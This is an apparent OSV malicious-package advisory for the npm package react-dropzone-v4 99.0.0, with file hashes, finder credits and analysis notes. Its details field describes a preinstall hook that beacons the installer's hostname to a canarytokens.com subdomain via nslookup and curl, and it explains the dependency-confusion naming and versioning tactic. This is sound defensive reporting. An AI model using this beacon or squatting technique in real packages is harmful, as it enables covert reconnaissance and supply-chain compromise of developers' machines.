{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "7c43e55749b4cf28c292f65d4733c3187ea95608b27173f331b4cc2638df6ef8",
              "tlsh": "4fe06a340834943719fd8ed11cb0d80b2012dc3740159d8c9a070318654db7345bf698"
            }
          ],
          "package_integrity": [
            {
              "filename": "react-dropzone-v4-99.0.0.tgz",
              "hashes": {
                "sha1": "8f40ab77e93bd0bd09f4ba3c1eeeabe4586716c6",
                "sha512_sri": "sha512-6dVvCJ+5a/Y0cB3UDa60vqzjjHQ3qf7JO+edqcAa8ITNouTKZs6/0s16v1yRuJa97bD7zWJt8R1yGJgvwr8k4w=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "react-dropzone-v4"
      },
      "versions": [
        "99.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://github.com/ossf/package-analysis",
        "https://openssf.slack.com/channels/package_analysis"
      ],
      "name": "OpenSSF: Package Analysis",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "import_time": "2026-10-11T07:47:21.562722481Z",
        "modified_time": "2026-10-11T07:35:19Z",
        "sha256": "a198afa2f10e287b1c9d5f196f5ca43288ccf306b9dc753a4d04221c3c91f76b",
        "source": "ossf-package-analysis",
        "versions": [
          "99.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-021443",
        "import_time": "2026-10-11T14:18:06.491368239Z",
        "modified_time": "2026-10-11T14:00:37Z",
        "sha256": "28267e7286151b52836170e94617afcb3c49d17424f7b7ea9fab480c6e008c7c",
        "source": "amazon-inspector",
        "versions": [
          "99.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (28267e7286151b52836170e94617afcb3c49d17424f7b7ea9fab480c6e008c7c)\nThe package\u0027s package.json declares a preinstall lifecycle script that runs automatically on npm install. The script performs an nslookup of $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com and a curl GET to http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname), causing the installer\u0027s hostname to be transmitted to a third-party canarytokens.com subdomain via DNS and plaintext HTTP without consent. The package name mimics the popular react-dropzone library and uses an inflated version number (99.0.0) characteristic of dependency-confusion attacks that aim to win resolution against an internal package of the same name. The package provides no legitimate functionality; its only install-time effect is the out-of-band beacon identifying hosts that resolved and installed it.\n\n## Source: ossf-package-analysis (a198afa2f10e287b1c9d5f196f5ca43288ccf306b9dc753a4d04221c3c91f76b)\nThe OpenSSF Package Analysis project identified \u0027react-dropzone-v4\u0027 @ 99.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n",
  "id": "MAL-2026-17758",
  "modified": "2026-10-11T14:20:00.249563237Z",
  "published": "2026-10-11T07:35:19Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/react-dropzone-v4/v/99.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in react-dropzone-v4 (npm)"
}